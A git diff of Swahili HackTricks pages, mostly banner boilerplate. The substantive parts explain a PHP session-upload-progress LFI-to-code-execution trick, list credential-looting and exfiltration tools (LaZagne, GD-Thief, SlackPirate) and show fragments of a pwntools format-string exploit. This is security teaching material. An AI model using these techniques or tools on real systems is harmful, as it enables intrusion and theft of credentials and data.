||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Taarifa Msingi
|
||||
|
||||
Ikiwa umepata **Uingizaji wa Faili wa eneo la ndani (LFI)** hata ikiwa **huna kikao** na `session.auto_start` ni `Off`. Ikiwa **`session.upload_progress.enabled`** ni **`On`** na unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **POST ya sehemu nyingi**, PHP ita **kuwezesha kikao kwako**.
|
||||
Ikiwa umepata **Unganisho wa Faili za Kienyeji (LFI)** hata kama huna **kikao** na `session.auto_start` iko `Off`. Ikiwa **`session.upload_progress.enabled`** iko **`On`** na unatoa **`PHP_SESSION_UPLOAD_PROGRESS`** katika data ya **POST ya sehemu nyingi**, PHP ita **kuwezesha kikao kwako**.
|
||||
```bash
|
||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||
$ ls -a /var/lib/php/sessions/
|
||||
|
|
@ -30,33 +31,34 @@ $ ls -a /var/lib/php/sessions/
|
|||
|
||||
In the last example the session will contain the string blahblahblah
|
||||
```
|
||||
Tafadhali kumbuka kuwa na **`PHP_SESSION_UPLOAD_PROGRESS`** unaweza **kudhibiti data ndani ya kikao**, kwa hivyo ikiwa unajumuisha faili yako ya kikao unaweza kujumuisha sehemu unayodhibiti (kama vile shellcode ya php).
|
||||
Tafadhali kumbuka kwamba na **`PHP_SESSION_UPLOAD_PROGRESS`** unaweza **kudhibiti data ndani ya kikao**, hivyo ikiwa unajumuisha faili yako ya kikao unaweza kujumuisha sehemu unayoidhibiti (kama vile php shellcode).
|
||||
|
||||
{% hint style="info" %}
|
||||
Ingawa mafunzo mengi kwenye mtandao yanapendekeza kuweka `session.upload_progress.cleanup` kuwa `Off` kwa madhumuni ya kurekebisha makosa. Mazingira ya chaguo-msingi ya `session.upload_progress.cleanup` katika PHP bado ni `On`. Hii inamaanisha kuwa maendeleo yako ya kupakia kwenye kikao yatafutwa haraka iwezekanavyo. Kwa hivyo hii itakuwa **Hali ya Mashindano**.
|
||||
Ingawa mafunzo mengi kwenye Mtandao yanapendekeza kuweka `session.upload_progress.cleanup` kuwa `Off` kwa madhumuni ya kutatua hitilafu. Mazingira ya msingi ya `session.upload_progress.cleanup` katika PHP bado ni `On`. Hii inamaanisha maendeleo yako ya kupakia kwenye kikao yatafutwa haraka iwezekanavyo. Hivyo hii itakuwa **Hali ya Mashindano**.
|
||||
{% endhint %}
|
||||
|
||||
### CTF
|
||||
|
||||
Katika [**CTF asili**](https://blog.orange.tw/2018/10/) ambapo mbinu hii inazungumziwa, haikuwa ya kutosha kuchexploit Hali ya Mashindano lakini yaliyomo yaliyopakiwa pia yalihitaji kuanza na herufi `@<?php`.
|
||||
Katika [**CTF ya asili**](https://blog.orange.tw/2018/10/) ambapo mbinu hii ina maoni, haikutosha kuchexploitisha Hali ya Mashindano lakini yaliyomo yaliyopakiwa yalihitaji kuanza pia na mfuatano `@<?php`.
|
||||
|
||||
Kutokana na mipangilio ya chaguo-msingi ya `session.upload_progress.prefix`, **faili yetu ya KIKAO itaanza na kipengee cha kuanza cha kuchosha** `upload_progress_` Kama vile: `upload_progress_controlledcontentbyattacker`
|
||||
Kutokana na mipangilio ya msingi ya `session.upload_progress.prefix`, **faili yetu ya KIKAO itaanza na kiambishi cha kuchosha** `upload_progress_` Kama vile: `upload_progress_controlledcontentbyattacker`
|
||||
|
||||
Hila ya **kuondoa kipengee cha kuanza** ilikuwa **kubadilisha msimbo wa malipo kuwa msimbo wa msingi wa 64 mara 3** na kisha kudekodea kupitia filters za `convert.base64-decode`, hii ni kwa sababu wakati wa **kudekodea msimbo wa msingi wa 64 PHP itaondoa herufi zisizo za kawaida**, kwa hivyo baada ya mara 3 **tu** malipo **yaliyotumwa** na mshambuliaji yatakuwa **yamebaki** (na kisha mshambuliaji anaweza kudhibiti sehemu ya kuanza).
|
||||
Ujanja wa **kuondoa kiambishi cha awali** ilikuwa **kubadilisha msingi wa payload mara 3** na kisha kuidondoa kupitia vichujio vya `convert.base64-decode`, hii ni kwa sababu wakati wa **kuidondoa msingi wa base64 PHP itaondoa wahusika wa ajabu**, hivyo baada ya mara 3 **pekee** **payload** **iliyotumwa** na mshambuliaji ita **baki** (na kisha mshambuliaji anaweza kudhibiti sehemu ya awali).
|
||||
|
||||
Maelezo zaidi katika andiko asili [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) na shambulio la mwisho [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)\
|
||||
Maelezo zaidi katika andiko la asili [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) na kudukua mwisho [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp\_for\_php.py)\
|
||||
Andiko lingine katika [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,31 +1,33 @@
|
|||
# Udukuzi wa Ombi la HTTP kwenye Kivinjari
|
||||
# Udukuzi wa Ombi la HTTP la Kivinjari
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Angalia chapisho [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inayotangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,45 +1,43 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## **Loot ya Ndani**
|
||||
## **L00t ya Mtaani**
|
||||
|
||||
* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Hizi script, mbali na kutafuta PE vectors, zitatafuta habari nyeti ndani ya mfumo wa faili.
|
||||
* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Mradi wa **LaZagne** ni programu huria inayotumiwa **kupata nywila nyingi** zilizohifadhiwa kwenye kompyuta ya ndani. Kila programu inahifadhi nywila zake kwa kutumia njia tofauti (maandishi wazi, APIs, algorithms maalum, databases, nk). Zana hii imeendelezwa kwa lengo la kupata nywila hizi kwa programu zinazotumiwa sana.
|
||||
* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Hizi script, zaidi ya kutafuta vectors za PE, zitatafuta habari nyeti ndani ya mfumo wa faili.
|
||||
* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Mradi wa **LaZagne** ni programu huru inayotumika **kupata nywila nyingi** zilizohifadhiwa kwenye kompyuta ya ndani. Kila programu inahifadhi nywila zake kwa kutumia mbinu tofauti (maandishi wazi, APIs, algoritimu za desturi, maktaba za data, n.k.). Zana hii imeendelezwa kwa lengo la kupata nywila hizi kwa programu zinazotumiwa sana.
|
||||
|
||||
## **Huduma za Nje**
|
||||
|
||||
* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Moduli hii itaunganisha kwenye API ya Confluence kwa kutumia ishara ya ufikiaji, kusafirisha kwa PDF, na kupakua hati za Confluence ambazo lengo ana ufikiaji.
|
||||
* [**GD-Thief**](https://github.com/antman1p/GD-Thief): Zana ya Timu Nyekundu ya kudukua kwa kuchukua faili kutoka kwenye Google Drive ya lengo ambayo wewe (mshambuliaji) una ufikiaji, kupitia API ya Google Drive. Hii ni pamoja na faili zote zilizoshirikiwa, faili zote kutoka kwenye anatoa zilizoshirikiwa, na faili zote kutoka kwenye anatoa za kikoa ambazo lengo ana ufikiaji.
|
||||
* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Zana ya Timu Nyekundu ya kudukua kwa kuchukua Orodha ya Watu ya Google ya shirika la lengo ambayo una ufikiaji, kupitia API ya Watu ya Google.
|
||||
* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Hii ni zana iliyoundwa kwa Python ambayo hutumia API za asili za Slack kuchambua habari 'zinazovutia' kutoka kwenye nafasi ya kazi ya Slack kwa kutumia ishara ya ufikiaji.
|
||||
* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound ni zana ya mstari wa amri kwa timu nyekundu na timu ya bluu kufanya uchunguzi wa haraka wa nafasi ya kazi/ shirika la Slack. Slackhound inafanya ukusanyaji wa watumiaji, faili, ujumbe, nk. wa shirika kuwa rahisi kutafuta na vitu vikubwa huandikwa kwenye CSV kwa ukaguzi nje ya mtandao.
|
||||
|
||||
|
||||
|
||||
* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Moduli hii itaunganisha kwenye API ya Confluence kwa kutumia token ya ufikiaji, kuuza kwa PDF, na kupakua nyaraka za Confluence ambazo lengo ana ufikiaji.
|
||||
* [**GD-Thief**](https://github.com/antman1p/GD-Thief): Zana ya Timu Nyekundu ya kuchukua faili kutoka kwa Google Drive ya lengo ambayo wewe (mshambuliaji) una ufikiaji, kupitia API ya Google Drive. Hii ni pamoja na faili zote zilizoshirikiwa, faili zote kutoka kwa madereva yaliyoshirikiwa, na faili zote kutoka kwa madereva ya kikoa ambayo lengo ana ufikiaji.
|
||||
* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Zana ya Timu Nyekundu ya kuchukua Mwongozo wa Watu wa Google wa shirika la lengo ambalo una ufikiaji, kupitia API ya Watu wa Google.
|
||||
* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Hii ni zana iliyoendelezwa kwa Python ambayo hutumia Slack APIs ya asili kutoa habari 'zinazovutia' kutoka kwa nafasi ya kazi ya Slack ikitoa token ya ufikiaji.
|
||||
* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound ni zana ya mstari wa amri kwa timu nyekundu na buluu kufanya upelelezi haraka wa nafasi ya kazi/shirika la Slack. Slackhound hufanya ukusanyaji wa watumiaji wa shirika, faili, ujumbe, n.k. kuwa rahisi kutafutika na vitu vikubwa huandikwa kwenye CSV kwa mapitio nje ya mtandao.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & zoezi AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & zoezi GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
|
@ -149,16 +150,17 @@ format_string.execute_writes()
|
|||
|
||||
P.interactive()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoea AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoea GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa michango**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
